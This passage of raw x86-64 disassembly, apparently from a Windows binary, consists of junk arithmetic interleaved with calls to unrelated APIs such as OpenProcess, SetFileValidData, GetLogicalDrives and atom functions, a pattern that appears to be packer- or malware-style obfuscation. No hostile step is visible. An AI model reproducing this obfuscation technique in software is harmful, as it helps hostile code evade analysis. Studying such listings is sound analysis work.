movsx eax, byte [rsp + 0x414]
sub eax, 0x2e
mov byte [rsp + 0x14f], al
jmp 0x140011562
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [0x1401a5390]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
movsx eax, word [rsp + 0x1ea8]
movsx ecx, word [rsp + 0x1e94]
sub eax, ecx
mov word [rsp + 0x1ea4], ax
mov eax, dword [rsp + 0x6294]
add eax, 0x8f
mov dword [rsp + 0x6294], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x413]
or eax, ecx
mov byte [rsp + 0x415], al
movzx eax, word [rsp + 0xf9c]
sar eax, 4
mov word [rsp + 0x1d90], ax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xf9c]
xor eax, 0x760
mov word [rsp + 0x1d90], ax
mov eax, dword [0x1401a5394]
movzx ecx, al
mov eax, dword [rsp + 0x54ac]
shl eax, cl
mov dword [0x1401b4410], eax
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd30], rax
mov eax, dword [rsp + 0x6270]
mov ecx, dword [rsp + 0x54ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x70d078cecfdf74
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, word [rsp + 0x1d90]
sub eax, 0x909
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
and eax, ecx
mov word [rsp + 0x1ea4], ax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62f8], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x415]
sub eax, ecx
mov byte [rsp + 0x413], al
cmp dword [rsp + 0x6294], 0xe1c0
jbe 0x1400116fe
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [0x1401a5394]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6270]
mov edx, dword [rsp + 0x62c8]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140187397
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcd38]
imul rcx, qword [rax]
mov rax, rcx
mov qword [0x1401a5398], rax
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x413], al
movzx eax, word [rsp + 0xf9c]
mov word [rsp + 0x1eac], ax
mov dword [rsp + 0x62fc], 0x184
mov eax, dword [rsp + 0x51b8]
mov dword [rsp + 0x6300], eax
mov eax, dword [rsp + 0x62c8]
mov dword [rsp + 0x6304], eax
cmp dword [rsp + 0x6304], 0x3a3b
je 0x140011950
cmp dword [rsp + 0x6304], 0xea5e
je 0x1400119dd
jmp 0x140011aa6
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [0x1401a5398]
mov rcx, qword [rsp + 0xcd40]
mov qword [rsp + 0xcde0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcde0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
or eax, ecx
mov word [rsp + 0x1ea8], ax
jmp 0x140011aa6
movsx eax, word [rsp + 0x1e94]
movsx ecx, word [rsp + 0x1ea8]
xor eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
lea rdx, [rsp + 0x1cd40]
mov rcx, qword [rsp + 0xcde8]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x6308], eax
mov eax, dword [0x1401b4410]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xcdf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdf0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1401a5394], eax
movsx eax, byte [rsp + 0x14f]
and eax, 0x33
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov qword [rsp + 0x20], 0xe0
mov r9, qword [rsp + 0xcdf8]
mov r8, qword [rsp + 0xcd68]
mov rdx, qword [rsp + 0xce00]
mov rcx, qword [rsp + 0xce08]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x630c], eax
mov eax, dword [rsp + 0x630c]
mov ecx, dword [rsp + 0x62d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
movzx eax, byte [rsp + 0x14f]
mov byte [rsp + 0x6310], al
cmp byte [rsp + 0x6310], 0x13
je 0x140011add
jmp 0x140011b80
mov eax, dword [rsp + 0x62c8]
mov ecx, dword [rsp + 0x54ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6270], eax
mov dword [rsp + 0x6314], 0x11d4
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf28], rax
lea rax, [rsp + 0xf9c]
mov qword [rsp + 0xce10], rax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x413]
sub eax, ecx
mov byte [rsp + 0x415], al
mov rax, qword [rsp + 0xcd48]
movzx eax, word [rax]
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0xcd48]
movzx eax, word [rax]
mov word [0x1401b440c], ax
mov dword [rsp + 0x6318], 0xfcb9
jmp 0x140011c63
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
add eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcd58]
movzx ecx, al
mov rax, qword [rsp + 0xaf28]
shr rax, cl
mov qword [rsp + 0xcd30], rax
mov eax, dword [rsp + 0x54ac]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xce18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x62ec], eax
mov eax, dword [rsp + 0x51b8]
mov ecx, dword [rsp + 0x62cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0xf9c]
xor eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
call fcn.140187a00
mov dword [rsp + 0x631c], 0x4ee9
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
sub eax, ecx
mov word [rsp + 0x1ea4], ax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x415]
and eax, ecx
mov byte [0x1401a5038], al
lea rax, [rsp + 0xcd38]
mov qword [rsp + 0xce20], rax
lea rax, [rsp + 0x14f]
mov qword [rsp + 0xce28], rax
lea rax, [0x1401b440c]
mov qword [rsp + 0xce30], rax
mov dword [rsp + 0x6320], 0x1ae2
cmp dword [rsp + 0x6278], 0x9632
ja 0x14001215a
mov r9d, 2
lea r8, [rsp + 0xcdd0]
mov rdx, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xcd28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62dc], eax
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [0x1401b4410]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54ac], eax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62e0], eax
mov eax, dword [rsp + 0x6278]
add eax, 0xcd
mov dword [rsp + 0x6278], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb2f8], rax
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x62d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x415]
sub eax, ecx
mov byte [rsp + 0x413], al
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [0x1401a5038], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x6324], eax
movsx eax, word [rsp + 0x1e94]
movsx ecx, word [rsp + 0x1ea8]
sub eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1d90]
and eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401a5398]
shl rax, cl
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401a5398]
sar rax, cl
mov qword [rsp + 0xcd38], rax
movzx ecx, word [rsp + 0x1e90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e90], ax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x62c8], eax
mov eax, dword [rsp + 0x630c]
mov ecx, dword [rsp + 0x62cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xb2f8]
mov rcx, qword [rsp + 0xaf28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd30], rax
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [0x1401a5038]
add eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, word [rsp + 0x1ea8]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401b440c], ax
movsx eax, byte [rsp + 0x414]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14f], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x62b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
add eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [0x1401a5038]
add eax, ecx
mov byte [rsp + 0x415], al
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x630c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x54ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov edx, 0x51cb16
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x62f0], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
shl eax, cl
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1eac]
xor eax, ecx
mov word [rsp + 0x1d90], ax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x1ce]
sar eax, cl
mov byte [rsp + 0x415], al
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
and eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14f]
add eax, ecx
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb0]
sub eax, ecx
mov word [0x1401b440c], ax
jmp 0x140011cdd
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
mov dword [rsp + 0x6328], 0x3ac3
movzx eax, byte [rsp + 0x415]
mov byte [rsp + 0x416], al
mov dword [rsp + 0x632c], 0x10a77
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd38], rax
mov edx, 0x5bacea
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x62dc], eax
mov rax, qword [rsp + 0xcd30]
movzx ecx, al
mov rax, qword [rsp + 0xcd58]
shl rax, cl
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x62c8]
mov ecx, dword [0x1401b4410]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
mov eax, dword [rsp + 0x630c]
movzx ecx, al
mov eax, dword [rsp + 0x51b8]
sar eax, cl
mov dword [rsp + 0x6300], eax
movsx eax, word [rsp + 0x1e94]
movsx ecx, word [rsp + 0x1ea0]
xor eax, ecx
mov word [rsp + 0x1ea8], ax
movzx eax, byte [0x1401a5038]
movzx ecx, byte [rsp + 0x415]
and eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, word [rsp + 0x1ea8]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0xf9c]
add eax, ecx
mov word [rsp + 0x1d90], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6330], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcd58], rax
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x62cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
movsx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [0x1401a5394]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62ec], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x413]
sub eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea8]
shl eax, cl
mov word [0x1401b440c], ax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0xf9c]
sar eax, cl
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea4]
xor eax, ecx
mov word [rsp + 0x1eb0], ax
movzx eax, byte [rsp + 0x416]
movzx ecx, byte [rsp + 0x413]
or eax, ecx
mov byte [rsp + 0x415], al
mov eax, dword [rsp + 0x51b8]
mov ecx, dword [rsp + 0x62cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e90], ax
mov eax, dword [rsp + 0x6318]
sub eax, 0x55
mov dword [rsp + 0x6318], eax
xor r9d, r9d
lea r8, [rsp + 0xcdb0]
mov rdx, qword [rsp + 0xcd88]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62f0], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
cmp dword [rsp + 0x6318], 0xed73
ja 0x14001219c
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
add eax, ecx
movzx ecx, word [rsp + 0x1eac]
movzx edx, word [rsp + 0xf9c]
add ecx, edx
cmp eax, ecx
jge 0x14001252c
mov edx, 0x6e
lea rcx, [rsp + 0x1d90]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0xce38], rax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xaf28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd58], rax
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d90], ax
movsx eax, word [rsp + 0x1ea4]
movsx ecx, word [rsp + 0x1eb0]
and eax, ecx
mov word [rsp + 0x1e94], ax
call fcn.140187a50
cmp dword [rsp + 0x6298], 0xe212
ja 0x1400127b8
movzx eax, byte [rsp + 0x416]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov byte [0x1401a5038], al
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6334], eax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401a5398]
sar rax, cl
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x1ce]
xor eax, ecx
mov byte [rsp + 0x415], al
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x414]
or eax, ecx
mov byte [rsp + 0x14f], al
mov eax, dword [rsp + 0x62d8]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
shl eax, cl
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xcd58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2f8], rax
movsx eax, word [rsp + 0x1eb0]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401b440c], ax
mov dword [rsp + 0x1d7c0], 0x114
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea8]
sub eax, ecx
mov word [rsp + 0x1ea0], ax
mov eax, dword [rsp + 0x6298]
add eax, 0xb3
mov dword [rsp + 0x6298], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [rsp + 0x416], al
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0x1d90]
add eax, ecx
mov word [rsp + 0xf9c], ax
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x62d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xcd58]
mov rcx, qword [rsp + 0xb2f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x6270]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [0x1401a5398]
mov rcx, qword [rsp + 0xce20]
mov qword [rsp + 0xce40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce40]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcd38], rax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401b440c], ax
lea rdx, [rsp + 0xcd88]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x62dc], eax
jmp 0x14001252c
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d90], ax
lea rax, [rsp + 0x415]
mov qword [rsp + 0xce48], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x414]
sub eax, ecx
mov byte [rsp + 0x3ff], al
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb2f8], rax
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x630c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
movzx eax, byte [0x1401a5038]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401b440c], ax
mov eax, dword [rsp + 0x62a0]
add eax, 0x4b
mov dword [rsp + 0x62a0], eax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1eac]
add eax, ecx
mov word [rsp + 0x1d90], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x62bc], eax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
shl eax, cl
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xb2f8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xaf28], rax
mov eax, dword [rsp + 0x62ec]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xce50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce50]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x62c8], eax
lea rcx, str.MA33
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1e9c], ax
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x630c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
cmp dword [rsp + 0x62a0], 0xe40b
jb 0x140012801
mov rax, qword [rsp + 0xce30]
movzx eax, word [rax]
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a5038]
sub eax, ecx
mov byte [rsp + 0x1ce], al
movzx ecx, word [rsp + 0x1e90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd38], rax
lea rdx, [rsp + 0x62e4]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x6330], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14f]
and eax, ecx
mov byte [rsp + 0x3ff], al
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0x1d90], ax
movsx eax, word [rsp + 0x1eb4]
movsx ecx, word [rsp + 0x1e94]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6270], eax
movzx ecx, word [rsp + 0x1e9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e9c], ax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd58], rax
lea rdx, [rsp + 0x6330]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x6338], eax
mov rax, qword [0x1401a5398]
mov rcx, qword [rsp + 0xcd38]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a5038], al
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf9c], ax
mov eax, dword [rsp + 0x6328]
add eax, 0x2e
mov dword [rsp + 0x6328], eax
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e9c], ax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
sub eax, ecx
mov rcx, qword [rsp + 0xce30]
mov word [rcx], ax
movzx eax, byte [rsp + 0x413]
mov rcx, qword [rsp + 0xce48]
